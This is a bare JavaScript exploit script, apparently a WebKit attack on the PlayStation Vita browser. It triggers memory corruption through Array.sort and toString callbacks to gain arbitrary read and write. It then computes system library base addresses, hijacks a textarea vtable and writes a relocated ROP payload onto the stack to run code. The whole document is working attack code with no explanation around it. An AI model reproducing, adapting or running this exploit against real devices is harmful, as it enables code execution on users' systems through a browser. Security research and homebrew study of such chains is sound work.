<script>
    try {
        var e = 64 + payload[16 / 4];
        e /= 4;
        var a = null;

        function r(e, r) {
            if (!a) a = new DataView(new ArrayBuffer(16));
            a.setUint32(0, r);
            a.setUint32(4, e);
            return a.getFloat64(0)
        }

        function t(e) {
            if (!a) a = new DataView(new ArrayBuffer(16));
            a.setFloat64(0, e);
            return {
                low: a.getUint32(4),
                hi: a.getUint32(0)
            }
        }

        function o(e) {
            var a = t(e);
            hi = a.hi.toString(16);
            lo = a.low.toString(16);
            while (lo.length < 8) lo = "0" + lo;
            return "0x" + hi + lo
        }

        function s(e) {
            while (1) alert(e)
        }
        var n = new Uint32Array(1024);
        var i = new Uint32Array(55);
        i[0] = 74565;
        i[1] = 424080;
        var c = document.createElement("textarea");
        c.rows = 287454020;
        var u = r(2147483648, 2147483648);
        var d = 40960;
        var b = 65536;
        var f = 10;
        var l = new Array(b);
        var p = {};
        p.toString = function() {
            l.push(12345);
            buf = new Uint32Array(159744);
            buf[0] = -1;
            return ""
        };
        l[0] = p;
        l[1] = i;
        l[2] = c;
        l.sort();
        p.toString = function() {
            return ""
        };
        var _ = buf[8204];
        var v = buf[8202];
        var l = new Array(73728);
        var p = {};
        var S = [];
        p.toString = function() {
            l.push(12345);
            for (var e = 0; e < f; ++e) {
                var a = new Array(d);
                a[0] = 1234.5;
                S.push(a)
            }
            return ""
        };
        l[0] = p;
        for (var h = 1; h < 49152; ++h) l[h] = u;
        l.sort();
        p.toString = function() {
            return ""
        };
        for (var h = 0; h < S.length; ++h) {
            if (S[h].length != d) {
                found = S[h]
            }
        }
        if (!found || found.length != 2147483648) {
            s("failed")
        }
        var w = found[536821755];
        var g = t(w).low;
        found[536870907] = r(g, 0);
        found[536870908] = 0;
        found[536870909] = 0;
        var w = t(found[536821756]).low;
        if (w == 2203615232) {
            me = 2208825344 + 40
        } else if (w == 2202566656) {
            me = 2207776768 + 40
        } else {
            found[268435456] = 123
        }
        scratch = me + 4096;
        me -= 2719744;

        function y(e) {
            idx = 536870912 + (e - me) / 8;
            return found[idx]
        }

        function m(e, a) {
            idx = 536870912 + (e - me) / 8;
            found[idx] = a
        }
        p = t(y(_ + 8)).hi;
        m(p + 8, r(0, 2147483648));
        m(p + 24, r(0, 2147483648));
        if (i.length != 2147483648) s("failed to corrupt a buffer");
        u32 = i;
        p = u32[(v + 12) / 4];
        textareavptr = u32[p / 4];
        vtidx = p;

        function x(e) {
            first = u32[e / 4];
            second = u32[e / 4 + 1];
            return ((first & 4095 | (first & 983040) >> 4) & 65535 | ((second & 4095 | (second & 983040) >> 4) & 65535) << 16) >>> 0
        }
        SceWebKit_base = textareavptr - 11253340;
        SceLibc_base = x(SceWebKit_base + 8779012) - 64073;
        SceLibKernel_base = x(SceWebKit_base + 8778852) - 36913;
        ScePsp2Compat_base = x(SceWebKit_base + 8770276) - 142693;
        SceWebFiltering_base = x(ScePsp2Compat_base + 2910348) - 2533;
        SceLibHttp_base = x(SceWebFiltering_base + 15300) - 56365;
        SceNet_base = x(SceWebKit_base + 8778772) - 9197;
        SceNetCtl_base = x(SceLibHttp_base + 101364) - 3417;
        SceAppMgr_base = x(SceNetCtl_base + 39608) - 18893;
        some_space = scratch;
        for (var h = 0; h < 64; h++) u32[some_space / 4 + h] = u32[textareavptr / 4 + h];
        u32[vtidx / 4] = some_space;
        for (var h = 0; h < 48; ++h) n[h] = u32[vtidx / 4 + h];
        u32[some_space / 4 + 78] = SceLibc_base + 82032 | 1;
        c.scrollLeft = 0;
        sp = (u32[vtidx / 4 + 8] ^ (u32[vtidx / 4 + 9] ^ SceWebKit_base + 3242281) >>> 0) >>> 0;
        sp -= 981016;
        for (var h = 0; h < 48; ++h) u32[vtidx / 4 + h] = n[h];
        rop_data_base = sp + 64;
        rop_code_base = sp + 65536;
        addr = sp / 4;
        for (var h = 0; h < payload.length; ++h, ++addr) {
            if (h == e) addr = rop_code_base / 4;
            switch (relocs[h]) {
                case 0:
                    u32[addr] = payload[h];
                    break;
                case 1:
                    u32[addr] = payload[h] + rop_data_base;
                    break;
                case 2:
                    u32[addr] = payload[h] + SceWebKit_base;
                    break;
                case 3:
                    u32[addr] = payload[h] + SceLibKernel_base;
                    break;
                case 4:
                    u32[addr] = payload[h] + SceLibc_base;
                    break;
                case 5:
                    u32[addr] = payload[h] + SceLibHttp_base;
                    break;
                case 6:
                    u32[addr] = payload[h] + SceNet_base;
                    break;
                case 7:
                    u32[addr] = payload[h] + SceAppMgr_base;
                    break;
                default:
                    alert("wtf?");
                    alert(h + " " + relocs[h])
            }
        }
        u32[some_space / 4 + 78] = SceWebKit_base + 21704;
        var K = some_space + 256;
        u32[K / 4 + 5] = rop_code_base;
        u32[K / 4 + 6] = SceWebKit_base + 787594 | 1;
        c.scrollLeft = K;
        alert("that's it")
    } catch (W) {
        alert("error: " + W.message)
    }
</script>